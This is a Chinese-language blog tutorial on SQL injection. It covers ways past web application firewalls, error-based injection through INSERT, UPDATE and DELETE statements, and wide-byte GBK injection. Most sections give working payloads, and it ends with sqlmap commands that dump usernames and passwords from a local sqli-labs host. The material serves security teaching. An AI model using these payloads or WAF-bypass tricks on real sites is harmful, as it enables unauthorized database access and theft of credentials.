1.23 SQL注入系列-3

应对WAF(网页防火墙)

过滤空格

使用下面的URL编码尝试替代空格:

%20 标准空格

%09 水平tab键

%0a 新建一行

%0c 新建一页

%0d 回车键

%0b 垂直tab键

%a0 也是空格键

特殊的,对于两个不同语法单元之间的空格也可以用运算符来代替:

||:逻辑或运算符(注意:MySQL 中默认 || 是逻辑或,和OR等价,部分环境需配置)

&:位与运算符

^:位异或运算符

+:算术加法运算符(前提是左右两边可转换为数字)

例如:

1
?id=1'|extractvalue(1,concat(0x7e,database()));%00

传入上面的参数后,因为select查询和extractvalue是两个无关的语法单元,所以可以用|连接。

过滤注释符

过滤注释符后我们的思路一般就是两种:

  • 将注释符换为截止符%00
  • 使得查询语句中$id前后的符号都能闭合

这里针对第二种进行讲解(以Less-23为例):

将前后两个单引号闭合再用or连接,即:

1
?id=' or extractvalue(1,concat(0x7e,database())) or' 

这样在整个查询语句中就是:

1
$sql="SELECT * FROM users WHERE id='' or extractvalue(1,concat(0x7e,database())) or' ' LIMIT 0,1";

过滤and、or

替换URL编码:

or = || = %7c%7c(url编码)

and = && = %26%26(url编码)

双写绕过:

or—>oorr

and–>anandd

过滤-``/``\等重要符号

使用URL编码绕过

过滤union、select等重要单词

  • 随机其中几个字母大小写
  • 双写绕过

过滤数据库名

可对数据库名进行HEX编码,顺便也可绕过对引号的屏蔽,例如:

1
slect table_name from information_schema where table_schema=0x7365637572697479

补充

  1. 大小写绕过

unION SelECT

  1. 双写绕过

uniunionon

  1. 编码绕过

hex和urlencode

  1. 注释符

uni/**/on

  1. 反引号

列名和表名可以使用``包裹

1
select * from `select`
  1. 内联注释

and /*!select*/ 1,2,3

  1. <>绕过

uni<>on sel<>ect

  1. 屏蔽逗号

select substr("haha",1,3)

select substr("haha" from 1 to 3)

union select 1,2,3=union select * from (select 1)a join (select 2)b join (select 3)c join;

limit 0,1=limit 0 offset 1

  1. sleep屏蔽

and sleep(1)=and benchmark(100000000000,1)

  1. group_concat屏蔽

select group_concat("haha","nihao")=select concat_ws("haha","nihao")

  1. 屏蔽等号

like rlike regexp <>

1' or '1'='1

1' or '1'<>'1

  1. POST情况屏蔽#

-- a

  1. ip地址屏蔽

X-Forwarded-For: 1.1.1.1

X-Remote-IP

X-Originating-IP

X-Real-Ip

  1. 修改静态资源

www.x.com/sql.php?id=1

www.x.com/sql.php/1.js?id=1

  1. url白名单

防火墙很多时候不会去管管理员后台做了什么,利用waf自带的白名单admin login manager system sys

www.x.com/sql.php/admin.php?id=1

www.x.com/sql.php?xxxx=/manager/&id=1

www.x.com/../../../../../manager.php/../../../sql.php?id=1

  1. 爬虫白名单

伪造自己成为搜索引擎的爬虫(ua的伪造)

  1. 增加干扰

union all %a0 select

利用insert、update和delete进行注入 [1]

思路简要说明

insertupdatedelete注入的本质是参数未经过滤,攻击者可在语句的关键位置插入恶意 SQL 片段,利用数据库执行特性获取敏感数据,核心常用方法为报错注入,具体应用场景如下:

  1. insert 注入:在insert into 表名(字段1,字段2) values(值1,值2)中,针对 “值 1”“值 2” 等参数构造恶意内容(如插入错误的函数调用、语法错误片段),触发数据库报错,通过错误提示回显数据库名、表名、字段名等信息。
  2. update 注入:在update 表名 set 字段=值 where 条件中,针对 “值” 或 “条件” 部分注入恶意 SQL,例如构造含报错函数的语句,使数据库执行时抛出包含敏感数据的错误(如用户密码、权限信息等)。
  3. delete 注入:在delete from 表名 where 条件中,针对 “条件” 参数注入恶意片段,通过触发报错或利用条件判断逻辑,间接获取数据或破坏数据完整性(注入核心以 “获取数据” 为目标时,优先通过报错回显实现)。

本地测试

执行下面的的命令创建测试用数据

1
2
3
4
5
6
7
8
9
create database newdb;
use newdb;
create table users (
    id int(3) not null auto_increment,
    username varchar(20) not null,
    passowrd varchar(20) not null,
    primary key(id)
);
insert into users values(1,'janes','Eyre');

接下来我们通过单双引号包含的形式来人为构造语法错误实现报错。

1
2
insert into users(id,username,passowrd) values (2,''payload'','testpwd');
insert into users(id,username,passowrd) values (3,""payload"",'testpwd');

然后就大同小异了,插入我们的payload(以查看版本号为例)。

1
2
3
or updatexml(1,concat(0x7e,(version())),0) or
// 标准句式就是:
or 报错注入语句 or

其他报错注入语句请见 1.22 SQL注入系列-2

Insert:

1
insert into users(id,username,passowrd) values(2,'haha' 注入点 '','testpwd');

Update:

1
update user set passowrd='testpwd' 注入点 '' where id=2 and username='haha';

Delete:

1
delete from users where id=2 注入点 '';

此外,除了or (payload) or闭合格式,还有下面的其他闭合变种:

1
2
3
4
5
6
7
'or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
' * (payload) *'
' or (payload) and '
"- (payload) -"

宽字节注入

在一些情况下,目标会使用诸如addslashes()mysql_real_escape_string()mysql_escape_string()Magic_quotes_gpc()等函数对我们传入的内容进行转义,特别是引号之类的内容,这就会导致我们无法通过直接在参数里填入'来达成闭合,而宽字节注入就是为了解决这个问题。

宽字节概念

相对于单字节,我们引入一个字符数大小为两个字节的为宽字节,比如GBK编码,我们汉字通常使用的就是GBK编码,也就是说一次性会读取两个字节。

注入原理

addslashes()函数为例,它的目的是根据预定义的字符(由服务端根据需要配置,例如单双引号)在你传的参数中检查是否存在这些预定义字符,如果有就在前面加上一个\起到转义的作用。这样当你试图传入?id=1'时实际的参数为?id=1\'后面的引号失去了闭合作用。

但假如我们像下面这样传参:?id=%df'🤔

你先别急%df是什么意思,但是你肯定知道\的URL编码是%5C,这样一来参数在程序内部就变成了%df%5C',而%df%5C实际上是[運]这个汉字的GBK编码,而MySQL会优先识别汉字的GBK编码**(前提是数据库本身就是GBK编码)**而忽略了转义符的存在,导致后面跟着的单引号仍然具有闭合作用。

具有相似性质的汉字还有这些:

小测验(Less-32)

使用刚才学习的宽字节注入轻松完成闭合并获取到了报错位:

1
?id=%df'union select 1,2,3 --+

接下来的操作就和第一关一样了。

最终payload:

1
?id=%df'union select 1,group_concat(username),group_concat(password) from users --+

使用sqlmap进行宽字节注入

新增参数:--tamper unmagicquotes指加载unmagicquotes这个宽字节注入专用模型,其他没什么区别。

爆库名:

1
sqlmap -u "http://192.168.80.134/Less-32/?id=" --tamper unmagicquotes --current-db --batch

爆表名:

1
sqlmap -u "http://192.168.80.134/Less-32/?id=" --tamper unmagicquotes -D security --tables --batch

爆字段名:

1
sqlmap -u "http://192.168.80.134/Less-32/?id=" --tamper unmagicquotes -D security -T users --columns --batch

爆字段数据:

1
sqlmap -u "http://192.168.80.134/Less-32/?id=" --tamper unmagicquotes -D security -T users -C username,password --dump --batch

参考文献

[1] babers. 利用 insert、update 和 delete 注入获得数据 [EB/OL]. 2017-07-28. https://www.cnblogs.com/babers/articles/7252401.html. [2026-01-23]

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS